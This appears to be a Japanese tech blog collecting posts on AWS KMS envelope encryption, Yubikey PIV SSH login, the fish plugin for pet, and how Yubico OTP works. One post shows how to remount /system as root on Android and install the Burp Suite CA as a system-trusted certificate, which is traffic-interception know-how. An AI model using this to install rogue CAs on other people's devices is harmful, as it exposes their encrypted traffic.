AWS KMSをさわってみた
AESなどの対称鍵暗号でデータを暗号化すると、データを読み取ることができる対象を鍵を知ってるものだけにすることができる。 そのため、何かのデータを暗号化したとき、暗号化に使用した鍵がどのように管理されているかはとても重要となります。
鍵管理は、ファイルのパーミッションで読めるuserを制限したりすることが多いですが、Amazonの提供するAWS KMSというサービスを用いて鍵管理(データキーを生成、暗号化、復号)を行ってみます。
主に以下のページを参考にしました。サンプルコードでは、エンベロープ暗号化と呼ばれているものを試しています。
AWSのAPI呼び出しはpythonのbotoというライブラリを使った。
KMSでキーの作成と、アカウントに権限付与などは以下のリンクを参考にした。
キー生成と暗号化
AES周りは今回はあまり重要じゃないので、ブロック長ぴったし(16バイト)の文字列を1ブロック暗号化する。鍵にはAWS KMSで生成した値を使用する。
#!/usr/bin/env python import base64 from boto import kms from Crypto.Cipher import AES conn = kms.connect_to_region('us-east-1') arn = 'arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222' data_key = conn.generate_data_key(arn, key_spec='AES_128') print(data_key) # 16 bytes plaintext = b'Hello, World!!!!' encrypter = AES.new(data_key['Plaintext']) encrypted_data = base64.b64encode(encrypter.encrypt(plaintext)) print(encrypted_data)
※ botoは、 ~/.boto
からAPIの認証情報を読み込んでる。
出力
{'CiphertextBlob': b"\x01\x02\x03\x00x6#\xcde\xbb'2d\x9d\xb1?\xf3<\x1a\xddI\xf9Zo\xb65\xd9\xa8\x1b\xd97\x03Q\x87\xf4\xd7\xd1\x01\x88\x93P\xb6\xaf\xd1YYuP\x13]\n\x17F \x00\x00\x00n0l\x06\t*\x86H\x86\xf7\r\x01\x07\x06\xa0_0]\x02\x01\x000X\x06\t*\x86H\x86\xf7\r\x01\x07\x010\x1e\x06\t`\x86H\x01e\x03\x04\x01.0\x11\x04\x0c\xb1y\xbbj\xb4i;}\xd3dw\xf9\x02\x01\x10\x80+<\x1e!o\x17\x12\x84\xfdh\xfe\x89\x05w\xc2\xa5\xado\x0c\x9aF9D\x8a\xeb\x1d\x19\xe5\xaf\xeeP\xb5\xb2\xd5H\xef4\x8f\xcd\x10\xaf\xf2\xf1\xe0", 'KeyId': 'arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222', 'Plaintext': b'\xc3\x06\xe9\x1f\xe1\xb7d\xd6sn\x97\x18>yR\x07'} b'2kvkQDMonVYyv3TAwsMbiw=='
data_keyは整形すると、
{ "CiphertextBlob": "\x01\x02\x03\x00x6#\xcde\xbb'2d\x9d\xb1?\xf3<\x1a\xddI\xf9Zo\xb65\xd9\xa8\x1b\xd97\x03Q\x87\xf4\xd7\xd1\x01\x88\x93P\xb6\xaf\xd1YYuP\x13]\n\x17F \x00\x00\x00n0l\x06\t*\x86H\x86\xf7\r\x01\x07\x06\xa0_0]\x02\x01\x000X\x06\t*\x86H\x86\xf7\r\x01\x07\x010\x1e\x06\t`\x86H\x01e\x03\x04\x01.0\x11\x04\x0c\xb1y\xbbj\xb4i;}\xd3dw\xf9\x02\x01\x10\x80+<\x1e!o\x17\x12\x84\xfdh\xfe\x89\x05w\xc2\xa5\xado\x0c\x9aF9D\x8a\xeb\x1d\x19\xe5\xaf\xeeP\xb5\xb2\xd5H\xef4\x8f\xcd\x10\xaf\xf2\xf1\xe0", "KeyId": "arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222", "Plaintext": "\xc3\x06\xe9\x1f\xe1\xb7d\xd6sn\x97\x18>yR\x07" }
AES の鍵長 128bitで鍵を生成すると、CiphertextBlogとKeyIdとPlainTextが返ってきます。
暗号化の鍵にはPlaintextの値を使用します。鍵長が128bitのオプションで生成しているので16バイト(=128bit)なことも確認できます。Plaintextは、暗号化に使用後に保持しません(むしろ保持したらKMS使う意味がない)。 CiphertextBlobは、PlaintextをAWS KMSのマスターキー(KeyIdに紐づく鍵)で暗号化した値となっていて、この値を保持しておきます。暗号文を復号するときに鍵は、CiphertextBlobをマスターキーで復号して鍵を取り出します。
KMSの説明されているサイトで使用されている画像との対応関係は、
https://docs.aws.amazon.com/ja_jp/kms/latest/developerguide/concepts.html
- Plaintext data: Hello, World!!!!
- Encrypted data: 2kvkQDMonVYyv3TAwsMbiw==
- Data Key: Plaintext
- Encrypted data key: CiphertextBlob
となっています。
CiphertextBlobから鍵を取り出すには、このKeyIdにアクセスを許可されているAWSのAPIキーでしか読み出せません。APIキーの作成などは最初の方に書いたブログを参照してください。キーの作成や無効化などはAWSコンソールでぽちぽちしてたら行えます。
マスターキーに対しても、無効化させておくことなども可能です。有事の際や、普段は絶対に使わない情報などは暗号化後に鍵を無効化しておくなどの使い方があるかと思います。
AWSでCloudTrailを有効にしていると、APIの呼び出しで以下のようなログを取ることができます(適当に一部を切り出しています)。記録されるAPI一覧をぱっとみましたが、だいたい重要なもの(たぶん全部...?)はカバーされているようにみえました。 なので、鍵の使用形跡などをログから読み取ることができます。
{ "eventVersion": "1.05", "userIdentity": { "type": "IAMUser", "userName": "saso" }, "eventTime": "2018-01-08T09:32:33Z", "eventSource": "kms.amazonaws.com", "eventName": "GenerateDataKey", "awsRegion": "us-east-1", "userAgent": "Boto/2.48.0 Python/3.6.1 Darwin/16.7.0", "requestParameters": { "keySpec": "AES_128", }, "responseElements": null, "readOnly": true, "eventType": "AwsApiCall", "recipientAccountId": "071542545104" }
AWS KMSを使って鍵を管理する強みは、鍵自体の管理だけでなく、他のAWSの機能と同等にAPIキーの管理、ログ収集もできるあたりかなと思います。
復号
復号できることも確認します。
#!/usr/bin/env python import base64 from boto import kms from Crypto.Cipher import AES conn = kms.connect_to_region('us-east-1') arn = 'arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222' ciphertext_blob = b"\x01\x02\x03\x00x6#\xcde\xbb'2d\x9d\xb1?\xf3<\x1a\xddI\xf9Zo\xb65\xd9\xa8\x1b\xd97\x03Q\x87\xf4\xd7\xd1\x01\x88\x93P\xb6\xaf\xd1YYuP\x13]\n\x17F \x00\x00\x00n0l\x06\t*\x86H\x86\xf7\r\x01\x07\x06\xa0_0]\x02\x01\x000X\x06\t*\x86H\x86\xf7\r\x01\x07\x010\x1e\x06\t`\x86H\x01e\x03\x04\x01.0\x11\x04\x0c\xb1y\xbbj\xb4i;}\xd3dw\xf9\x02\x01\x10\x80+<\x1e!o\x17\x12\x84\xfdh\xfe\x89\x05w\xc2\xa5\xado\x0c\x9aF9D\x8a\xeb\x1d\x19\xe5\xaf\xeeP\xb5\xb2\xd5H\xef4\x8f\xcd\x10\xaf\xf2\xf1\xe0" data_key = conn.decrypt(ciphertext_blob) print(data_key) # 16 bytes encrypted = base64.b64decode(b'2kvkQDMonVYyv3TAwsMbiw==') decrypter = AES.new(data_key['Plaintext']) decrypted = decrypter.decrypt(encrypted) print(decrypted)
出力
{'KeyId': 'arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222', 'Plaintext': b'\xc3\x06\xe9\x1f\xe1\xb7d\xd6sn\x97\x18>yR\x07'} b'Hello, World!!!!'
data_keyは以下の値になっている。
{ "KeyId": "arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222", "Plaintext": "\xc3\x06\xe9\x1f\xe1\xb7d\xd6sn\x97\x18>yR\x07" }
また、このKeyIdをdisableにすると以下のようなエラーが返ってくる。
boto.kms.exceptions.DisabledException: DisabledException: 400 Bad Request {'__type': 'DisabledException', 'message': 'arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222 is disabled.'}
まとめ
AWS KMSを使ってエンベロープ暗号化と呼ばれている暗号化・復号を試してみた。鍵を管理するぞ!、という気持ちになったときに直感的に必要な機能が用意されている印象だった。 鍵へのアクセスが、ちゃんとログとして出力されるのは、個人的には一番良いなと感じた。
参考リンク
他にも以下のようなリンクを参考にしました。
Envelope Encryption using AWS KMS, Python Boto, and PyCrypto. · GitHub
AndroidのプレインストールされたCAにCAを追加する
Android 7以降からCAの扱いが代わり、デフォルトではユーザが追加したカスタムのCAはアプリ毎に設定を書かないと信頼されなった。 システムにプレインストールされたCAは制限することも可能だが、基本的には信頼されている。 以下は、Root化された端末にプレインストールされたCAとして、カスタムのCAを追加する手順メモです(プレとは?)。
android-developers.googleblog.com
自己責任&悪用厳禁でお願いします。
環境
・検証環境
OS: LineageOS 14.1 Android version: 7.1.2 Device model: Nexus7
追加するのはProxyツールのBurp Suiteの証明書。
❯ openssl x509 -inform DER -in cacert.der -text -noout Certificate: Data: Version: 3 (0x2) Serial Number: 1402072607 (0x5391ee1f) Signature Algorithm: sha256WithRSAEncryption Issuer: C=PortSwigger, ST=PortSwigger, L=PortSwigger, O=PortSwigger, OU=PortSwigger CA, CN=PortSwigger CA Validity Not Before: Jun 6 16:36:47 2014 GMT Not After : Jun 6 16:36:47 2037 GMT Subject: C=PortSwigger, ST=PortSwigger, L=PortSwigger, O=PortSwigger, OU=PortSwigger CA, CN=PortSwigger CA Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (2048 bit) Modulus (2048 bit): 00:a2:43:8d:b6:91:10:bc:f9:ea:d9:d3:0c:39:d5: 34:11:dd:ed:d6:0e:76:41:57:85:b0:0d:c6:26:60: 2b:1d:a3:2a:d6:b1:f6:58:fe:3d:9a:70:91:fd:4e: 99:61:84:14:46:3f:22:f4:4e:8a:01:c2:3d:36:1a: 50:2b:17:84:0d:1d:53:8f:ff:ed:15:86:77:4d:6c: 80:c2:3c:12:46:5f:18:08:f9:53:f5:ff:f6:55:2b: 09:96:bd:a3:e9:11:d5:0f:fd:11:15:37:28:17:d8: fa:6a:bb:cc:50:65:13:fa:15:99:10:77:06:12:02: 01:a4:ea:9c:3c:86:e2:00:6c:71:c6:a9:6c:88:17: 5e:2e:f9:29:2c:97:94:4b:94:7c:23:94:78:bf:23: 18:18:a3:29:56:9f:5a:90:e1:a3:8f:2d:48:e9:fb: 11:ac:f9:80:ce:cf:80:a4:37:89:1a:1f:4c:96:fa: 77:d7:fa:da:69:f4:ac:f6:01:16:ea:29:25:4f:50: 16:cc:fe:10:f2:70:de:77:f2:e7:96:6c:00:3e:6e: 37:b9:59:d8:8c:cc:62:da:74:10:b6:6e:a1:df:c5: d6:3d:85:9d:6b:66:4c:d9:db:4b:c2:87:80:57:c2: 1f:80:44:89:04:8a:61:87:c6:69:1f:00:e6:37:0f: 7b:d1 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: critical CA:TRUE, pathlen:0 X509v3 Subject Key Identifier: 34:98:2B:45:74:9A:D6:56:55:64:CE:DA:62:FD:45:0C:4C:3A:D3:57 Signature Algorithm: sha256WithRSAEncryption 9e:2a:ad:2b:26:cf:80:ec:b5:1d:c5:95:05:9e:81:3c:69:4e: 3f:45:f8:ed:32:ce:ae:a3:b6:a3:33:5b:30:49:bd:87:07:32: be:e5:5a:12:0d:9b:31:38:95:3d:6a:33:cc:04:f7:eb:92:70: 76:ea:e7:f4:5c:8e:2d:b6:d1:28:15:0d:27:00:69:fe:3c:e9: 76:26:e6:b1:f8:14:94:51:80:1e:2a:a1:ab:fa:9b:e1:f3:b6: c3:38:0b:43:82:3f:31:9b:fa:50:a5:e2:26:4b:6b:2f:6a:4c: 9f:c6:4b:07:06:fb:ed:65:6e:78:35:77:17:28:35:00:73:77: 7f:f2:c8:1e:3b:f6:39:00:c2:bd:f3:38:c8:e3:20:8e:ce:ab: 3c:d6:ce:d6:ea:4e:01:af:32:42:62:e2:e2:a6:3b:3d:0e:7d: 93:bb:ee:ab:02:f6:09:54:d7:aa:06:69:87:77:c2:0b:5c:94: bf:56:83:e4:09:2f:af:aa:92:3c:42:6b:39:3f:a9:97:55:c1: 08:37:b3:05:d9:70:de:fa:86:fc:b3:0c:89:31:49:20:1b:83: e2:8f:cc:e9:9d:d4:76:40:63:9f:08:de:a9:d8:27:1c:cb:59: de:ec:84:a0:fa:e9:e5:3f:07:c6:a2:ab:96:a0:34:dc:25:e6: 25:19:85:01
カスタムCAの用意
subject_hashの値をとる。
❯ openssl version OpenSSL 0.9.8zh 14 Jan 2016 ❯ openssl x509 -noout -subject_hash -in cacert.der -inform DER 9a5ba575
OpenSSLのバージョンが1.0.0以降の場合は、 -subject_hash
ではなく、 -subject_hash_old
を使うらしい。
PEMフォーマットに変換し、ファイル名を(subject_hashの値 + .0
)で保存する。
❯ openssl x509 -inform DER -in cacert.der -outform PEM > 9a5ba575.0
AndroidにカスタムCAを追加する
AndroidのプレインストールされたCAは、 /system/etc/security/cacerts
に置かれている。ただここに置けば良い。
ただし、最初は /system はread onlyでマウントされているので注意する。
❯ adb push ./9a5ba575.0 /data/local/tmp [100%] /data/local/tmp/9a5ba575.0 ❯ adb shell flo:/ $ su flo:/ # mount -o rw,remount /system flo:/ #mv /data/local/tmp/9a5ba575.0 /system/etc/security/cacerts/
設定 → セキュリティ → 信頼できる認証情報 から確認できる。 再起動した方が良いという情報もあったが、手元の環境では再起動しなくても追加され使用できた。
ファイル名がsubject_hashと異なる値でもUI上には表示されるが参照されないようだった。
まとめ
Burpのルート証明書をAndroidのプレインストールされているフォーマットやファイル名を合わせてインストールした。
開発者がこのようなCAを拒否したい場合は、ネットワーク セキュリティ構成機能を使いプレインストールされたCAに対しても制限がかけることができる。 developer.android.com
YubikeyのPIVを使ってsshしてみる
YubikeyのPIVが気になったのでsshでの使い方を試してみたメモ。 PIV自体については何もわからない。
Yubikeyとはこんな感じのもの。
Yubikey PIV Manager をここから落とす。
https://developers.yubico.com/yubikey-piv-manager/Releases/
webサイトでは、以下のコマンドラインツールを使って説明される。
ただし、macOS上では(たぶん他のOSでも)、ビルドが非常に面倒(./configureが成功してからが勝負)で、ビルドできたとしてもwebサイト通り使っても動作しないため、今回は使わない。 とはいえ、コマンドラインからしか指定できないオプションもあるため、なんとかはしたい。
現時点でのPIVに対する認識は、PKCS#11 で定義されたインターフェースを通じてデバイス内の秘密鍵(今回はYubikey内の秘密鍵)へアクセスし、認証を行うやつ、くらいです。
ここら辺を読むとPIVのプロになれるっぽい。
秘密鍵を生成する
PIV Manager → Certificates を選ぶ。
Authentication → Generate new key…
設定してOKをする
PIN(6〜8桁の文字)を入力する。
これでYubikeyの設定完了。
Export certificate… と Delete certifiacte… が選択できるようになる。
Exportした証明書をみてみるとこんな感じ。
❯ openssl x509 -in yubikey_piv.pem -text -noout Certificate: Data: Version: 3 (0x2) Serial Number: cd:6f:bb:37:07:b4:d0:7f Signature Algorithm: sha256WithRSAEncryption Issuer: CN=saso Validity Not Before: May 21 04:36:59 2017 GMT Not After : May 21 04:36:59 2018 GMT Subject: CN=saso Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (2048 bit) Modulus (2048 bit): 00:95:6c:78:ac:c5:56:73:bb:73:9b:c8:fa:04:2f: 32:ad:95:1a:96:ae:4e:41:5a:8d:09:6a:c9:d9:0e: fb:2f:37:fc:9e:81:ac:91:59:9d:59:52:92:d4:d9: d2:38:96:a9:3d:ed:88:ad:ee:a3:fd:a4:84:de:71: 7f:ee:65:50:75:32:72:aa:75:c2:ca:95:2c:9e:a5: ca:4c:cd:0b:3b:0b:d1:f9:58:00:5d:aa:ce:ec:30: 4b:42:57:f0:ec:92:34:9b:67:96:f5:8d:79:13:8b: c9:bf:2e:a5:8c:99:58:34:43:15:8a:3b:76:88:45: b0:8f:da:52:bc:8c:73:fb:1c:cd:05:47:34:6a:bb: 47:09:e9:8a:a4:cf:bb:58:ae:a7:60:3b:1c:cc:93: 98:fd:b3:9c:67:ee:44:0d:ce:dc:6e:c4:31:fe:c7: c7:98:dc:9b:e2:e0:b5:88:da:2e:e5:20:3f:73:c5: 2d:b4:7b:86:71:d1:81:8b:9e:83:04:46:ad:84:83: 5e:41:53:75:ae:29:b2:b7:5a:33:22:0c:bf:fa:8d: a2:ae:52:05:ae:e2:55:7c:4b:ee:41:38:e8:48:19: 7c:67:c0:09:45:21:b5:ab:c0:aa:33:44:c0:28:4d: 6e:36:53:2a:e0:5e:af:5b:b3:d6:63:9a:84:7a:39: 2a:2d Exponent: 65537 (0x10001)
PIVを使ってsshする
Yubikey内の秘密鍵へアクセスするためには、OpenSCというオープンソースのPKCS#11の実装を使う。
以下のコマンドで公開鍵を読み出せる。
❯ ssh-keygen -D /usr/local/opt/opensc/lib/opensc-pkcs11.so -e ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVbHisxVZzu3ObyPoELzKtlRqWrk5BWo0JasnZDvsvN/yegayRWZ1ZUpLU2dI4lqk97Yit7qP9pITecX/uZVB1MnKqdcLKlSyepcpMzQs7C9H5WABdqs7sMEtCV/DskjSbZ5b1jXkTi8m/LqWMmVg0QxWKO3aIRbCP2lK8jHP7HM0FRzRqu0cJ6Yqkz7tYrqdgOxzMk5j9s5xn7kQNztxuxDH+x8eY3Jvi4LWI2i7lID9zxS20e4Zx0YGLnoMERq2Eg15BU3WuKbK3WjMiDL/6jaKuUgWu4lV8S+5BOOhIGXxnwAlFIbWrwKozRMAoTW42UyrgXq9bs9ZjmoR6OSot
公開鍵をログインしたい.ssh/authrorized_keysに追加する。
❯ ssh -I /usr/local/opt/opensc/lib/opensc-pkcs11.so test@ub.local Enter PIN for 'PIV_II (PIV Card Holder pin)': Last login: Sun May 21 13:06:18 2017 from 192.168.56.1 test@ubuntu:~$
PINを入力することでログインできる。
まとめ
YubikeyがサポートしているPIVを使って見た。
GUIでぽちぽちやってるだけで、基本的な設定が可能で、秘密鍵を安全に管理可能なのはよさそう。 また、sshで使うために特別大変な手順もなくて良い。
PINの入力を無くし、Yubikeyのタッチに変えられるらしいし試したい。
一部で話題のkryptcoも同様の仕組みを使っているし、何か違いがあるのか比較してみたい。 kryptcoは、以下に詳しく説明されている。 qiita.com
劇的にコマンドライン環境が快適になるpetのfishサポートをした話
前に使ったコマンドを実行したいとき、どうしてますか?
普段はfishを使ってるのですが、前に実行したコマンドを再度実行したい場合は、
peco_select_history を ctrl+r
で呼び出すようにしています。
そもそも、fishの補完が優秀なので使うまでもないことは多いです。
bashやzshを使うときは組み込みの ctrl+r
を使っていました。
慣れていれば、特に困りもしないのですが、pet という便利なスニペット管理ツールを使いはじめるとかなりコマンドライン環境が快適になりました!
$ brew install knqyf263/pet/pet
基本的な使い方は、ツール作成者(Teppei Fukudaさん)のブログを見てください。
特に困ってなかったので、入れるかどうかも悩んでたんですが、READMEに書いてあるshellの設定をしてから見方がだいぶ変わりました。
ただし、READMEのzshの設定ではfishで動かなかったため、fisher や oh-my-fish を使って設定できるようにしました。プラグイン管理ツールを使ってない人は雰囲気で ~/.config/fish/functions/
にスクリプト置けば動くと思います。
※ 現在は、以下の方法をpetのREADMEでも紹介してもらってます!ありがとうございます!
fisher を使うと、以下のコマンドでインストールできます。
$ fisher otms61/fish-pet
oh-my-fish を使っている場合は、以下のコマンドでインストールできます。
$ omf install https://github.com/otms61/fish-pet
コマンドラインで、 prev
と pet-select
が使えるようになります。
fish_user_key_bindings
を以下のように設定(layoutオプションはお好みで)すると、 ctrl+s
で、 pet-select
を呼び出すようにできます。
function fish_user_key_bindings bind \cs 'pet-select --layout=bottom-up' end
fishユーザの方は、ぜひ!
二要素認証に使われてるYubico OTP の仕組み
2要素認証に利用できるデバイスに、Yubico社が提供するYubikeyというものがあります。
Yubikeyでは様々な機能を使えますが、初期状態で利用できるものにYubico OTP(One-Time password)があります。 Yubico OTPは、非常に安全な仕組みだと思いますが、公式ドキュメントがやや分かりづらいこともあり書きました。
Yubico OTPとは
Yubico OTP は、Yubicoが定めるOTP(One-Time Password)の形式であり、Yubikeyから正常に生成されたOTPかどうかを検証することができます。
このOTPを「私が所持するYubikeyから生成されたものかどうか」を検証することで、二要素認証の要素として利用できます。 sshログインで二要素認証にYubico OTPの使い方は、他の方が書かれているので興味のある方は検索してみてください。
Yubikeyは、USBキーボードとして認識され、円の部分をタップすることでYubico OTPを生成し、キー入力されます。
OTP(One-Time Password)という名前からもわかる通り毎回生成される文字列が異なります。 例えば、2回生成をすると、以下のような文字列が生成されます。
vvvgutvinihgjelnlrctgrvukrkbhtbrrrtugdgndcif vvvgutvinihgjrcnkgkflerfghfdkijiudvltttuntji
異なる文字列が生成されていることがわかるかと思います。
Yubico OTPの検証サーバー
OTPが、Yubikeyから生成されたのか、でたらめな文字列なのかを検証する仕組みがYubico社から提供されています(YubiCloud)。 下図は、password + Yubikeyの2要素認証を行するフローで、青色の部分でOTPをYubiCloudに問い合わせています。
1要素目のpasswordが検証されたあとに、OTPの検証をしていることがわかるかと思います。この2つの要素の認証が両方成功して、この認証は成功になるという流れです。
https://developers.yubico.com/OTP/Libraries/Using_a_library.html
YubiCloudはOTPが正しいかどうかを検証するだけで、Yubikeyとユーザとの紐付けはServer側の責任となります。 Yubico OTPでは、どのYubikeyから生成されてるいるのか判別出来るように、public IDというYubikey毎に固定の値が先頭につきます。
OTPが「私が所持するYubikeyから生成されたものかどうか」は、
- サーバ側で、Yubikeyのpublic IDとユーザーの登録したpublic IDが正しいか
- YubiCloudによるOTPの検証結果
から分かります。
Modhex形式
ここからは、生成されたOTPについて説明していきます。
Yubico OTPは、16進数をModhex方式(Yubico社が定めたエンコーディング方式)で別の文字に置換されています。
YubikeyはUSBキーボードとして認識されるので、PCに設定されているキーボード設定によっては、入力がぶれてしまうことがあるそうです。 Modhex形式では、様々なキーボードでのぶれが起きにくい文字が使われているそうです。
16進数 | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | a | b | c | d | e | f |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Modhex | c | b | d | e | f | g | h | i | j | k | l | n | r | t | u | v |
Modhex形式を16進数に戻すコードは以下のようになります。
d = {'b': '1', 'c': '0', 'd': '2', 'e': '3', 'f': '4', 'g': '5', 'h': '6', 'i': '7', 'j': '8', 'k': '9', 'l': 'a', 'n': 'b', 'r': 'c', 't': 'd', 'u': 'e', 'v': 'f'} def modhex2hex(x): return ''.join([d[i] for i in x])
この関数でOTPを16進数に変換するとこのようになります。
>>> print(modhex2hex('vvvgutvinihgjelnlrctgrvukrkbhtbrrrtugdgndcif')) fff5edf7b76583abac0d5cfe9c916d1cccde525b2074 >>> print(modhex2hex('vvvgutvinihgjrcnkgkflerfghfdkijiudvltttuntji')) fff5edf7b7658c0b9594a3c456429787e2fadddebd87
馴染みのある16進数の表現になりましたね。 これ以降のOTPは16進数に変換後の値を使います。
public IDと暗号文
Yubico OTPは44文字の文字列で、public ID(先頭12文字)と暗号文(残り32文字)からなります。正確にはpublic IDの長さは設定で変えられますが、YubiCloudで使えるYubico OTPに話を限定します。
public IDは、OTPの中で固定の値です。 設定で変更できますが、工場出荷状態で使える設定では、必ずユニークな値となっています。
暗号文には、OTPがYubikeyから生成されたものかを検証するための情報が含まれています。
先ほどの同じYubikeyから生成した2つのOTP
- fff5edf7b76583abac0d5cfe9c916d1cccde525b2074
- fff5edf7b7658c0b9594a3c456429787e2fadddebd87
をpublic ID と 暗号文に分けると以下のようになります。
public ID | 暗号文 |
---|---|
fff5edf7b765 | 83abac0d5cfe9c916d1cccde525b2074 |
fff5edf7b765 | 8c0b9594a3c456429787e2fadddebd87 |
public IDが同じで、暗号文は変わっていることがわかります。
暗号化方式とその鍵
暗号化にはAES-128が使われています。
鍵はYubikey内と検証サーバー(YubiCloud)に保存されています。 YubiCloudでは、public IDから鍵を取り出し復号します。
工場出荷時に、YubiCloudへpublic IDと鍵の登録はされているので、Yubico OTPはすぐに使うことができるというわけです。
また、Yubikeyは設定に対して、書き込みを行うためのインターフェースしか用意されておらず、読み込みができないため、鍵はYubico OTP設定時にのみ分かるようになっています。
初期状態では工場でYubico OTPの設定がされているので、購入者も鍵を知ることができません。 Yubikeyの利用者は、鍵を知らずに(知ることが出来ずに)OTPを生成し、Yubico OTPという仕組みを使用することができます。
鍵の情報漏洩を心配しなくて良いのはYubikeyなどのデバイスを通した認証の良いところですね。 鍵の入ったデバイスが盗まれてしまったら元も子もないですが、public IDに紐づく情報を無効化することで被害を抑えられます。
暗号文の中身
暗号文の中身で、検証に重要な値として、
- private ID
- Counter
があります。
private IDは、鍵と同様に、工場で設定されYubiCloudに登録されている値です。 public IDは公開情報なので、他人のpublic IDになりすまそうとすることができますが、暗号文内のpublic IDに紐づいているprivate IDの値は分からないため、なりすましを防ぐことができます。
Counterは、YubikeyでOTPを生成する毎にカウントアップされる値です。YubiCloudでは、最後に検証したCounterを保持されており、入力されたOTPのカウンターと最後に使用したカウンターの値を比較することで、使い回しなどを防ぐことができます。 また、過去に生成したOTPが漏洩してしまったとしても、そのあとに生成したOTPを使用することで簡単に漏洩したOTPを使用できなくすることができます。
結局、YubiCloudでは、暗号文を復号し、
- private IDが正しいか
- Counterの値が新しいか
を検証します。
以下は、Yubicoのサイトに記載されている検証の流れを示した図です。
https://developers.yubico.com/OTP/OTPs_Explained.html
ここまでの、まとめ
- Yubico OTPは、YubiCloudによって検証できる
- 暗号部分はAESで暗号化されており、購入者も鍵を知ることができないので、鍵の漏洩を心配しなくて良い
- 暗号化された情報で改ざん防止や使い回しの防止がされている
暗号文の中身
ここからは、暗号文の中身を見ていくことで、Yubico OTPの詳細な仕様を見ていこうと思います。
暗号文の中身は16バイトで以下の値が入っています。
field名 | バイト数 | |
---|---|---|
uid | 6 | private(secret) ID |
useCtr | 2 | Usage counter |
tstp | 3 | Timestamp |
sessionCtr | 1 | Session usage counter |
rnd | 2 | Random number |
crc | 2 | CRC16 checksum |
https://mowa-net.jp/wiki/YubiKey#Yubico_OTP.2BMG5O1WnY-
- uid: public IDと1対1で対応したID。private ID。
- useCtr: USBを抜き差しするとカウントアップされる不揮発な値。
- tstp: デバイス起動時からカウントされる8Hzのタイマーの値。
- sessionCtr: 揮発性の値で、USBが差さっている間に、Yubico OTPを生成するとカウントされる。
- rnd: 乱数。
- crc: 16bit ISO13239 1st complement checksum だそうです。チェックサム。
カウンターの上限について
Yubico OTPのカウンターは、不揮発性のuseCtrと揮発性のsessionCtrの2つあります。
最後に使用したuseCtrより大きければOK、小さければNGです。useCtrが同じ場合は、sessionCtrが大きければOK、同じか小さければNGとなっています。
sessionCtrは、1バイトなので256回タップすると上限に達します。次のタップでは、useCtrがカウントアップし、sessionCtrは0になります(確認済み)。
useCtrは、2バイトなので、65535まで値を保持できます。sessionCtr 1日10回抜き差しすると大体17年くらい使える感じです。 上限に達する前に(かなり丈夫に作られてるとはいえ)壊れてしまいそうですが、上限に達したらもう一度設定し直すしかないらしいです。
Yubikey Personalization tools
暗号文の詳細を追ってくために、実際に暗号文を復号してみたいと思います。
Yubikey Personalization tools というYubikeyの設定ツールがあります。 これを使うとYubico OTPの設定を変えることができ、public ID、private IDと鍵を知ることができます。
新しく生成したpublic IDとprivate IDと鍵のペアをYubiCloudにアップロードすることで、Yubico OTPが使えるようになります。
自分で生成したものは先頭がvvとなり、工場で生成されたものはccから始まるよう決められており、自分で生成したものかはpublic IDから判別することが可能です。
暗号文の実際の値
鍵が a9 e2 29 33 2e 87 0f 26 1e a5 5a 2a bd ef da e0
に設定されたYubico OTPの中身を見て行きたいと思います。
以下が、復号や暗号化するコードです。
以下の5つのOTPを復号してみようと思います。
vvntibfekfkkuvrvubtictldndbenurgrgbukhkutild vvntibfekfkkcgfeljervjjcejvjkvttthndftrtbdrf vvntibfekfkkbnkhcdiuhbbbflbuitdnecbkbnlkchgv vvntibfekfkkbevrttebkucvbdrntikdicluudifdgil vvntibfekfkkjfvttcrfvdkrrrvdidrrrdlcdefvhege
結果は、
$ python Yubico.py < public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0001 tstp:f011a4 sessionCtr:00 rnd:adfd crc:7855 > < public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0001 tstp:fe11a4 sessionCtr:01 rnd:cd73 crc:1308 > < public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0001 tstp:1312a4 sessionCtr:02 rnd:d3dd crc:1599 > < public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0002 tstp:5bd808 sessionCtr:00 rnd:f2d7 crc:ae1f > < public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0002 tstp:7fd808 sessionCtr:01 rnd:7326 crc:121d >
このようになります。 最初の3個は、同じuseCtrで、sessionCtrがカウントアップされていることがわかります。 4個目のYubico OTPを生成する前に、Yubikeyを抜き差ししました。4個目のuseCtrが2になり、sessionCtrが0に戻っていることが分かります。
checksumの計算
自分でOTPを計算していきたいと思います。
crcは、それ以外のfieldの値を使ってchecksumを計算します。 マニュアルに載っているコードは、一部間違っているようでしたので注意が必要です。
以下のコードが、チェックサムの計算と検証するコードです。
def update_crc(crc, x): crc ^= x for _ in range(8): flag = crc & 1 crc >>= 1 if flag != 0: crc ^= 0x8408 return crc & 0xffff def get_crc(s): assert len(s) == 14, "Invalid length" crc = 0x5af0 for i in s: crc = update_crc(crc, i) return crc def verify_crc(s): assert len(s) == 16, "Invalid length" crc = 0xffff for i in s: crc = update_crc(crc, i) return crc == 0xf0b8
YubiCloudで検証
YubikeyによるYubico OTPの生成をみてきましたが、これらの情報が検証サーバ(YubiCloud)で正しく検証されるか見ていきたいと思います。
Validation Protocol に書かれていますが、
http://api.yubico.com/wsapi/2.0/verify?otp=vvvvvvcucrlcietctckflvnncdgckubflugerlnr&id=87&timeout=8&sl=50&nonce=askjdnkajsndjkasndkjsnad
にリクエストを送ることで、OTPが正しいかを検証することができます。 OTPをotpというパラメータにセットし、それ以外のパラメータはそのままでリクエストを送ります。
YubiCloudに登録している、public IDで生成した正常なOTPを送って見ます。
